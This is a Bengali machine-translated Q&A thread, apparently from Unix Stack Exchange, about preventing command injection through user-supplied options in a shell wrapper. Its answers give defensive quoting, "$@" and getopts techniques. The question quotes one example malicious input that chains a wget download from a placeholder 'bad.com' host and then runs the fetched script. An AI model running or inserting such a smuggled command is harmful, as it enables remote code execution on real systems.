কমান্ড অপশনগুলির মাধ্যমে কমান্ড ইঞ্জেকশন কীভাবে প্রতিরোধ করবেন?


13

আমার একটি মোড়কের অ্যাপ্লিকেশন রয়েছে যেখানে আমি ব্যবহারকারীকে একটি সিমুলেটারে যাওয়ার জন্য কাস্টম বিকল্পগুলি নির্দিষ্ট করতে দেওয়া দরকার। তবে, আমি নিশ্চিত করতে চাই যে ব্যবহারকারী ব্যবহারকারী বিকল্পগুলির মাধ্যমে অন্যান্য কমান্ডগুলি ইনজেক্ট করবেন না। এটি সম্পাদন করার সর্বোত্তম উপায় কী?

উদাহরণ স্বরূপ.

  • ব্যবহারকারী সরবরাহ করে: -a -b
  • অ্যাপ্লিকেশন কার্যকর: mysim --preset_opt -a -b

তবে, আমি এটি চাই না:

  • ব্যবহারকারী সরবরাহ করে: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • অ্যাপ্লিকেশন কার্যকর: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

বর্তমানে, আমি ভাবছি যে আমি প্রতিটি ব্যবহারকারীর সরবরাহিত বিকল্পকে একক উদ্ধৃতি দিয়ে ঘিরে ফেলতে পারি 'এবং ব্যবহারকারীর দ্বারা সরবরাহিত একক উদ্ধৃতি সরিয়ে ফেলতে পারি, যাতে শেষ উদাহরণে কমান্ডটি নিরীহ হতে পারে:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

দ্রষ্টব্য: mysimকমান্ডটি ডকার / এলএক্সসি পাত্রে শেল স্ক্রিপ্টের অংশ হিসাবে কার্যকর করে। আমি উবুন্টু চালাচ্ছি।


আপনি কি evalঅ্যাপ্লিকেশন চালানোর জন্য ব্যবহার করছেন? যদি তা না হয় তবে ইঞ্জেকশনটি হওয়া উচিত নয়:x="&& echo Doomed" ; echo $x
চোরোবা

1
না, আমি ব্যবহার করছি না eval। আমি mysimশেল স্ক্রিপ্টের মধ্যে এক্সিকিউটেবল কল করছি । আমি ইঞ্জেকশনটি ঘটতে দেখছি যদি আমি ব্যবহারকারী কেবলমাত্র বিকল্পের স্ট্রিংটি অনুলিপি করে mysimকমান্ডের শেষে এটিকে আটকান ।
ভিক্টর লিউবস্লাভস্কি

মোড়ক অ্যাপ্লিকেশন কি বিকল্পের স্ট্রিংটি অনুলিপি করে পেস্ট করতে পারে?
চোরোবা

হ্যাঁ, ব্যবহারকারীর বিকল্পগুলি একটি একক স্ট্রিং হিসাবে আসে -a -b। সুতরাং আমি নিশ্চিত হচ্ছি যে অতিরিক্ত কমান্ডগুলি সেই স্ট্রিংয়ে ইনজেকশন করা হয়নি।
ভিক্টর লিউবস্লাভস্কি

1
আপনি কি শ্বেত তালিকাতে পারেন? কেবল অক্ষরগুলি [a-zA-Z0-9 _-]মঞ্জুরি দেওয়ার জন্য এটি বেশ সুন্দর প্রতিরক্ষামূলক পছন্দ বলে মনে হচ্ছে।
উলিরিচ শোয়ার্জ

উত্তর:


6

যদি আপনার মোড়ক প্রোগ্রামের উপর নিয়ন্ত্রণ থাকে, তবে নিশ্চিত হয়ে নিন যে এটি কোনও সাব-শেল চালু করছে না। গভীরভাবে ডাউন, কোনও প্রোগ্রাম সম্পাদন করার জন্য নির্দেশের মধ্যে এক্সিকিউটেবলের সম্পূর্ণ পথ (বর্তমান ডিরেক্টরিটির সাথে নিরঙ্কুশ বা আপেক্ষিক) এবং আর্গুমেন্ট হিসাবে পাস করার স্ট্রিংগুলির একটি তালিকা রয়েছে। PATH চেহারা, সাদা স্থান পৃথকীকরণ যুক্তি, উদ্ধৃতি এবং নিয়ন্ত্রণ অপারেটরগুলি সমস্ত শেলের দ্বারা সরবরাহ করা হয়। শেল নেই, ব্যথা নেই।

উদাহরণস্বরূপ, পার্ল মোড়কের সাহায্যে execবা এর তালিকা ফর্মটি ব্যবহার করুন system। অনেক ভাষায়, যেকোন একটিতে execবা execXXXফাংশনগুলিতে কল করুন ( unix.execবা যা বলা হয়) তার চেয়ে বেশি system, বা os.spawnসাথে shell=False, বা যা কিছু লাগে।

যদি মোড়ক শেল স্ক্রিপ্ট "$@"হয় তবে আর্গুমেন্টগুলি পাস করার জন্য ব্যবহার করুন

#!/bin/sh
mysim -preset-opt "$@"

আপনার যদি কোনও পছন্দ না থাকে এবং মোড়ক প্রোগ্রামটি শেলটি আহ্বান করে তবে শেলটি দেওয়ার আগে আপনাকে আর্গুমেন্টগুলি উদ্ধৃত করতে হবে। যুক্তিগুলি উদ্ধৃত করার সহজ উপায়টি হ'ল:

  1. প্রতিটি যুক্তিতে, প্রতিটি 'অক্ষরকে (একক উদ্ধৃতি) চার অক্ষরের স্ট্রিং দ্বারা প্রতিস্থাপন করুন '\''। (যেমন don'tহয়ে ওঠে don'\''t)
  2. যোগ 'প্রতিটি যুক্তি শেষে প্রতিটি যুক্তি শুরুতে এবং। (যেমন থেকে don't, don'\''tহয়ে 'don'\''t')
  3. এর মধ্যে একটি স্থান দিয়ে ফলাফলকে সংবিধানবদ্ধ করুন।

যদি আপনার শেল র‌্যাপারে এটি করা দরকার হয় তবে এখানে একটি উপায়।

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(দুর্ভাগ্যক্রমে, বাশের ${VAR//PATTERN/REPLACEMENT}কন্সট্রাক্ট, যা এখানে কার্যকর হওয়া উচিত, এর জন্য স্পর্শকাতর উদ্ধৃতি প্রয়োজন, এবং আমি মনে করি না যে আপনি '\''প্রতিস্থাপন পাঠ্য হিসাবে পেতে পারেন ))


1

আপনি ব্যাশ এর ব্যবহার করতে পারেন ${VAR//PATTERN/REPLACEMENT}একটি একক উদ্ধৃতি রুপান্তর বাগ্ধারা 'মধ্যে '\''প্রথম নির্বাণ দ্বারা '\''(কোন মধ্যবর্তী পদক্ষেপ হিসেবে) একটি পরিবর্তনশীল মধ্যে এবং তারপর হিসাবে এই পরিবর্তনশীল বিস্তৃত REPLACEMENTউল্লেখ ব্যাশ বাগ্ধারা মধ্যে উপাদান।

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

0

আপনি এই ব্যবহার করতে getoptsমধ্যে bashযা তোমাদের জন্য আর্গুমেন্ট পার্স করতে পারেন যেমন:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.